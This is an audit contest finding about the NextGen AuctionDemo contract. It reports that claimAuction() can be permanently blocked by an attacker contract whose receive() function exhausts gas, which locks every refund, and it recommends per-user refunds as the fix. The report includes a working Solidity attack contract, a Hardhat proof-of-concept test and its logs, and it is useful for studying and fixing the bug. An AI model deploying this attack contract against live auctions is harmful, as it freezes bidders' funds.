Adversary can cause permanent DOS in claimAuction() and total loss of funds.

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/smart-contracts/AuctionDemo.sol#L116

Vulnerability details

Impact

The AuctionDemo.claimAuction() function is vulnerable to a Denial of Service (DOS) attack, as an adversary can exploit the operation within the function to cause disruption.

The vulnerability arises from the loop iterating through the entire array of auction participants to refund users who lost the bid to the highest bidder. The attack becomes feasible when an adversary deploys a contract to interact with the Auction Demo contract, participating multiple times in the auction with negligible amounts. As long as the bid amount increases, it satisfies the requirements, enabling the adversary to flood the auction process.

The likelihood of this attack is high since there is no minimum bid set at the beginning of the auction, so no much liquidity is required by the attacker.

Impact: claiming auction will be impossible, refund will be impossible and there is also no way for the protocol admin to recover funds because the contract lacks a method for emergency withdrawal of Ether.

Proof of Concept

AuctionDemo.claimAuction() iterate through auctionInfoData[_tokenid] to refund participants here.

(bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");

The attacker can exploit a contract's fallback function, triggered when the contract receives Ether, to execute a logic that consumes the entire gas of a transaction. This intentional gas exhaustion results in an out-of-gas error, causing a Denial of Service (DOS) attack.
Check the attacker's contract.

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

import "./AuctionDemo.sol";

contract AttackAuction {
    auctionDemo public _auctionDemo;
    address public auction;

    constructor(address _auctionDemoContract) {
        auction = _auctionDemoContract;
        _auctionDemo = auctionDemo(_auctionDemoContract);
    }

    receive() external payable {
        //This unending computation will trigger when contract receives ether
        uint256 ans;
        uint256 ans2;
        for (uint i = 0; i < 1_000_000; ) {
            ans = 1000 * 100 ** 10;
            ans2 = 1000 * 100 ** 10;
        }
    }
     //Calls the AuctionDemo Contract to participate in auction
      function ParticipationInAuction(
        uint256 _tokenid,
        uint256 amount
    ) public payable {
        (bool success, ) = auction.call{value: amount}(
            abi.encodeWithSignature("participateToAuction(uint256)", _tokenid)
        );
        require(success, "Call to Auction failed");
    }

    function claimNFTandStealFunds(uint256 _tokenid) public {
        _auctionDemo.claimAuction(_tokenid);
    }
}

Paste the coded PoC in nexGen.test.js

    it("#Test_Ability_of_Auction_Participant_To_DOS_Claiming_And_Refund", async function () {
      this.timeout(100000000); //Test might take time, so timeout was increased
      const auctionEndTIme = (await time.latest()) + 1000; //Setting Auction end time
      //Admin calls MintAndAuction and set parameters
      await contracts.hhMinter.mintAndAuction(
        signers.owner.address, // _reciever
        '{"tdh": "100"}', //_tokenData
        1, //satfun_o
        3, //collectionID
        auctionEndTIme
      );

      const minIndex = 30000000005;
      const firstBid = 2000000000000000;
      const secondBid = 3000000000000000;
      const thirdBid = 4000000000000000;
      const attackerFirstBid = 100000;
      const attackerSecondBid = 50000;

      const auctionDemoAddress = await contracts.hhAuctionDemo.getAddress();
      const attackerContractAddress =
        await contracts.hhAttackAuction.getAddress();

      // Auction COntract Balance Before Auction
      const auction1 = await ethers.provider.getBalance(auctionDemoAddress);

      // ATTACKER PLACING MULTIPLE DUST BIDS
      await contracts.hhAttackAuction.ParticipationInAuction(minIndex, 1, {
        value: 1,
      });
      await contracts.hhAttackAuction.ParticipationInAuction(minIndex, 2, {
        value: 2,
      });
      await contracts.hhAttackAuction.ParticipationInAuction(minIndex, 3, {
        value: 3,
      });
      await contracts.hhAttackAuction.ParticipationInAuction(minIndex, 4, {
        value: 4,
      });

      //  First Real BIDDING
      await contracts.hhAuctionDemo
        .connect(signers.addr1)
        .participateToAuction(minIndex, {
          value: firstBid,
        });
      // Second Real BIDDING
      await contracts.hhAuctionDemo
        .connect(signers.addr2)
        .participateToAuction(minIndex, {
          value: secondBid,
        });
      // Third Real BIDDING
      await contracts.hhAuctionDemo
        .connect(signers.addr3)
        .participateToAuction(minIndex, {
          value: thirdBid,
        });

      // Auction Contract Balance After Auction
      const auction2 = await ethers.provider.getBalance(auctionDemoAddress);

      //Check that All bids are in Auction Contract
      expect(auction2).greaterThanOrEqual(
        firstBid + secondBid + thirdBid + 1 + 2 + 3 + 4
      );

      // Check the new Owner of the Token
      const oldOwnerOfNFT = await contracts.hhCore.ownerOf(minIndex);

      //Admins gives AuctionDemo appoval for NFT
      await contracts.hhCore.setApprovalForAll(auctionDemoAddress, minIndex);

      //Fastforward time to End of Auction
      time.increaseTo(auctionEndTIme);
      try {
        await contracts.hhAuctionDemo.claimAuction(minIndex);
        assert.fail("Function did not revert as expected");
      } catch (error) {
        expect(error.message).to.contain("Transaction ran out of gas");
      }

      // Auction Contract Balance After claimAuction was called
      const auction3 = await ethers.provider.getBalance(auctionDemoAddress);
      expect(auction2).equal(auction3); //Refund Failed
      // Auction attacker Contract Balance After Claim
      const auctionAttackerBalAft = await ethers.provider.getBalance(
        attackerContractAddress
      );
      expect(auctionAttackerBalAft).equal(0); //the attacker balance remains zero as refund failed

      // Check the new Owner of the Token
      const newOwnerOfNFT = await contracts.hhCore.ownerOf(minIndex);
      expect(oldOwnerOfNFT).equal(newOwnerOfNFT); //Change of NFT ownership also failed
      console.log(
        "==============================================================="
      );
      console.log("Old NFT Owner:", oldOwnerOfNFT);
      console.log("New NFT Owner:", newOwnerOfNFT);
      console.log("Auction Demo Balance Before Auction Start:", auction1);
      console.log("Auction Demo Balance After End of Auction:", auction2);
      console.log("Auction Demo Balance After Claim:", auction3);
      console.log("Attacker Balance after claim:", auctionAttackerBalAft);
      console.log(
        "================================================================"
      );
    });

Logs:

===============================================================
Old NFT Owner: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
New NFT Owner: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
Auction Demo Balance Before Auction Start: 0n
Auction Demo Balance After End of Auction: 9000000000000010n
Auction Demo Balance After Claim: 9000000000000010n
Attacker Balance after claim: 0n
================================================================

Tools Used

Manual review and Hardhat.

Recommended Mitigation Steps

Implement a refund() method and allow users who lost bid to claim their funds individually.

Assessed type

DoS

[c4-pre-sort]

141345 marked the issue as duplicate of #486

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as duplicate of #1782

[c4-judge]

alex-ppg marked the issue as satisfactory